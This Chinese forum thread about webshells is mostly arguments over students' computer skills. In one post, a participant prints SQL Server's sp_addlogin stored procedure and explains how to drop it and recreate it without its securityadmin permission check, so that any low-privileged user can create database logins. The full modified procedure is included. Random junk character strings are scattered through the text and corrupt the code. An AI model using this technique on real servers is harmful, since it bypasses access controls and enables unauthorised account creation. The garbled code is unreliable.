[原创]webshell篇

就凭你？
有资格这样评价师院学生的计算机水平？？
2 i  L, Z# B, }3 C% {  ^9 q2 W用这种口气诋毁别人！
$ c9 o) @4 r" W  z/ |; U鄙视你

; V1 v4 x! K  I( E6 p4 v3 F) O
$ P0 ~  J3 {: \4 K

[B]以下是引用[I]Lindx[/I]在2005-6-7 17:40:59的发言：[/B][BR]限
这个定义未免太烂了吧，我想知道你用什么方法获得人家的webshell，靠那些在网上公布的傻瓜工具吗。可是到头来还是不只所以然，那你凭什么教人家怎么去研究
; }+ v3 \( K, a# ^6 S" B对于师院人士的计算机水平，我实在不敢恭维，没有天才的诞生啊
# @# I  k! u' n9 e8 Q哎，可悲啊

就是就是。。

1 Q+ l! n0 R2 S, y

[B]以下是引用[I]Lindx[/I]在2005-6-6 9:45:42的发言：[/B][BR]对一个深陷迷途的同志，各位大虾用得着这样蔑视它吗，我们应当怀着一颗仁慈的心来拯救它，爱护它，我KAO，JB

[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
: d" d! f, i; J@loginame sysname
,@passwd     sysname = Null
) d! I2 J' }' a. x) Z. G6 n3 F5 d,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
" c6 c/ o7 F% ]. r" @8 zCONFIGURABLE???
( n1 {' ?( ^) X2 X,@deflanguage   sysname = Null
$ O6 B' g# ?' I; Z5 N+ k; k,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
; C+ N# Z# I2 y5 Q: KAS
' q; m* Y( P/ k6 m-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
( `; L& [* [9 Kset nocount on
5 Z0 \- v: I0 B& H8 m0 w# uDeclare @ret   int   -- return value of sp call
-- CHECK PERMISSIONS --
7 z* S# p4 R; }8 j' O2 b' }- U$ DIF (not is_srvrolemember(\'securityadmin\') = 1)
6 q, L9 U/ s# e( P! r* Hbegin
! ~, g( Q$ Y7 o$ }% Idbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
( B) F# B& u( Yraiserror(15247,-1,-1)
% y8 X& {# V2 f  Areturn (1)
end
ELSE
  v5 s0 d$ q: {begin
+ B  v: x9 u5 I" D- s5 u# \6 c( I& T- h1 wdbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
-- DISALLOW USER TRANSACTION --
" P, F# D' c$ n' w2 k2 P7 {set implicit_transactions off
IF (@@trancount > 0)
begin
+ P+ q- |3 f$ A0 `raiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
% @* w$ h& [. a: |3 pif (@ret <> 0)
5 {8 F  S3 d  ~$ O+ C: ], t  return (1)
0 j/ D$ Y$ d' y: o& m" b) ?5 K8 q/ qif (charindex(\'\\\', @loginame) > 0)
1 S- J* [' i1 {. Q2 C6 t" O& zbegin
  raiserror(15006,-1,-1,@loginame)
4 M+ a" G+ K6 M0 |" u  return (1)
end
--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
, u& ~- W9 t( g4 @1 D7 Jraiserror(15405, -1 ,-1, @loginame)
: z& B" a+ F$ B9 O. \! ireturn (1)
6 u$ i% f6 U! m* F. Xend
' ?% H. r9 V$ R% J2 H: e- p+ C-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
4 L/ B6 B1 u) h/ ]. P9 [5 a@loginame)
begin
4 m1 n: ]4 |% e+ T) r) D$ j3 lraiserror(15025,-1,-1,@loginame)
return (1)
8 @& A( Y. s! S  M/ mend
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
0 l1 [3 @& ^& y/ _$ C" Z' Rreturn (1)
end
-- VALIDATE DEFAULT LANGUAGE --
: [, |' [. z- N$ e9 b3 VIF (@deflanguage IS NOT Null)
8 q. o: V1 `- q/ Q8 B' @begin
/ v2 D) |; N) K; E; H) l$ `9 C/ uExecute @ret = sp_validlang @deflanguage
/ ~+ h7 m. e" Q6 ^6 l4 A# g- wIF (@ret <> 0)
- V* Z) c, A  S4 X% Oreturn (1)
# w4 U; _5 M4 s; ^0 U8 A5 Aend
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
  E: T& }: b& ]4 g( Olanguage
if @deflanguage is null
& ]: n6 t) I* H  eselect @deflanguage = N\'us_english\'
end
) {! q, \! t5 k* z/ p( U4 ^-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
) I4 |  c, H7 tend
else if @sid is null
select @sid = newid()
: g* L( o1 C/ ]7 v+ aif (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
: B' b0 d0 F  X4 b* i/ f- ureturn (1)
- [+ \9 x5 i: \6 b5 g! L8 [end
) F/ A1 j, o& E( o5 C-- VALIDATE AND USE ENCRYPTION OPTION --
: D- d4 w7 `$ |( w. hdeclare @xstatus smallint
) G+ k' b- k- Mselect @xstatus = 2 -- access
5 D! E( }4 v0 y0 l+ Sif @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
3 Y+ A( J& V4 ~5 ~  rbegin
% z9 c+ n5 G; {6 kselect @xstatus = @xstatus | 0x800, -- old-style
9 U6 p2 L% o7 l1 I' fencryption
" v; Q1 _4 F- Q. [@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> \'skip_encryption\'
) H8 O, m. Z& c* c: P" B  c0 Ybegin
raiserror(15600,-1,-1,\'sp_addlogin\')
. ~7 v8 a6 q0 ~/ mreturn 1
end
* e/ [/ n* ]# I  H9 {8 \-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
, `# G" W8 Y- b$ n: ]- f  (NULL, @sid, @xstatus, getdate(),
3 @, O" Z/ L; y" B& }    getdate(), @loginame, convert(varbinary(256), @passwd),
0 m/ S8 c9 }# S% N  z. y* d* t    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
. K2 {" m5 q7 h& a# w; s  return (1)
1 I0 x5 A8 |7 @' ^-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(\'use master grant all to null\')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
! X: _" o! }% d: ?: \raiserror(15298,-1,-1)
1 R  i" [4 h1 Y- }1 k; O2 Mreturn (0) -- sp_addlogin
0 |6 A* o& [1 p$ j4 z! pGO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin，主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
, P% ^# T6 y5 b% V4 SIF (not is_srvrolemember(\'securityadmin\') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
  I/ }3 a/ w! a' T1 \( MELSE
/ M7 F) U) H- k* |) A2 o8 w( qbegin
0 L* A9 t9 f% f. b3 @* _dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
$ U% t& Y$ R1 G4 P" jend

; x1 i0 n/ b1 u* G; @& y只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
drop procedure sp_addlogin

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然后再来恢复sp_addlogin
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; w: z% R: p0 B2 H$ g" T. [create procedure sp_addlogin
  O+ r- i: D, O) Q* \@loginame sysname
9 B$ v( ?* |5 u; },@passwd     sysname = Null
7 A  U6 p/ Q) P% W,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
& t9 {& L/ t: k+ e  f7 T7 D; \2 n. I,@encryptopt varchar(20) = Null
/ u' {. c1 f; G5 s7 z& fAS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
2 E7 g. P% O) k: c+ Aset nocount on
- ~8 L4 U& U8 Q; @$ e, FDeclare @ret   int   -- return value of sp call
' ~. Z% S9 V1 e! o  |' G
-- DISALLOW USER TRANSACTION --
6 `- [2 ]- s  ?6 i* e0 G$ }set implicit_transactions off
IF (@@trancount > 0)
begin
* w3 a, {  h: Q6 L* `; C. l* k' H3 p- mraiserror(15002,-1,-1,\'sp_addlogin\')
return (1)
  I) E6 K9 T" {' m8 l# Y4 t0 _end
-- VALIDATE LOGIN NAME AS:
8 ?! P5 {3 d8 V-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(\'\\\', @loginame) > 0)
begin
) O9 m& p- S( p5 D7 U  raiserror(15006,-1,-1,@loginame)
  return (1)
* Y/ T" f! ]2 }% r& ?end
--Note: different case sa is allowed.
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
begin
# j* E/ D/ ?: X# v# E7 l0 U0 Jraiserror(15405, -1 ,-1, @loginame)
return (1)
end
& P" `0 ~# e0 B; a5 ~-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
/ p  ?1 T1 k9 f8 T4 a. Z@loginame)
begin
9 G" D  e  ^( x. u, eraiserror(15025,-1,-1,@loginame)
return (1)
: u2 M0 M( B- \6 h" k5 E9 Iend
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
; R. x! ~4 P. G' m( B! a( P  ibegin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
. ~9 E, e) |3 c+ Q% g& _; m# r9 NIF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
( I* ?4 E9 `! V8 }: o) _8 d* o7 a8 Kreturn (1)
end
ELSE
begin
9 }, ~- R4 w6 k1 Vselect @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N\'us_english\'
, I: S# r+ _& e8 W$ R: W2 Nend
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
+ W, H0 g$ b% d  O: A; n1 Y, J* Hraiserror(15419,-1,-1)
return (1)
* R, t+ N! U* k% j, |end
+ [/ l1 x7 k3 y2 g# Belse if @sid is null
" _3 E8 L$ g, @" E: H1 rselect @sid = newid()
if (suser_sname(@sid) IS NOT Null)
5 @, X3 d, m- E+ R2 T: [, abegin
raiserror(15433,-1,-1)
return (1)
end
- o. r% ]1 {4 y0 k  e' P, ]-- VALIDATE AND USE ENCRYPTION OPTION --
7 v+ s. {- J' d. vdeclare @xstatus smallint
8 N9 r" h9 Y  _( X/ P. T; ]; Iselect @xstatus = 2 -- access
if @encryptopt is null
& c3 K$ T$ ~( i4 Nselect @passwd = pwdencrypt(@passwd)
else if @encryptopt = \'skip_encryption_old\'
8 k7 o! R: x7 @+ y; y) hbegin
; M  R! m2 m& {* ?% m! H* \4 r8 |select @xstatus = @xstatus | 0x800, -- old-style
0 _4 i* w- A! F" ]* l+ G& l& Uencryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
  p7 {% z, s, p; a! N  |else if @encryptopt <> \'skip_encryption\'
/ N. |! E' h) h1 C% jbegin
- Z# l5 U  S  wraiserror(15600,-1,-1,\'sp_addlogin\')
return 1
" i1 h9 n- B) k* P, K9 eend
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
; M0 y& G- a5 K  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
8 X% I, a* Q# q' k1 }% `  c. V  return (1)
1 z  D$ I" l( G7 t+ t' a-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
' c; a; p  ^6 |% [! ESYSLOGINS CHANGE --
2 E# X1 c* y; {, `) Zexec(\'use master grant all to null\')
. V# T1 T  b) {/ z-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
- F$ B; @+ {$ f3 c% l: rreturn (0) -- sp_addlogin
GO

MM很强啊..    是不是师院计算机系的.??

就当凭着这美丽的回帖..  
% E0 L: G9 h  I9 M; Z偶帮你加精了..

我不是计算机系的。
自己学的。

[B]以下是引用[I]瀟濏づ聴渢[/I]在2005-6-17 17:10:31的发言：[/B][BR]

0 w; U3 Y& T6 lMM很强啊..    是不是师院计算机系的.??

晕..  不是吧.. 自学的?...

我不是计算机系的！！！

...晕...在这里讨论还要别人给QB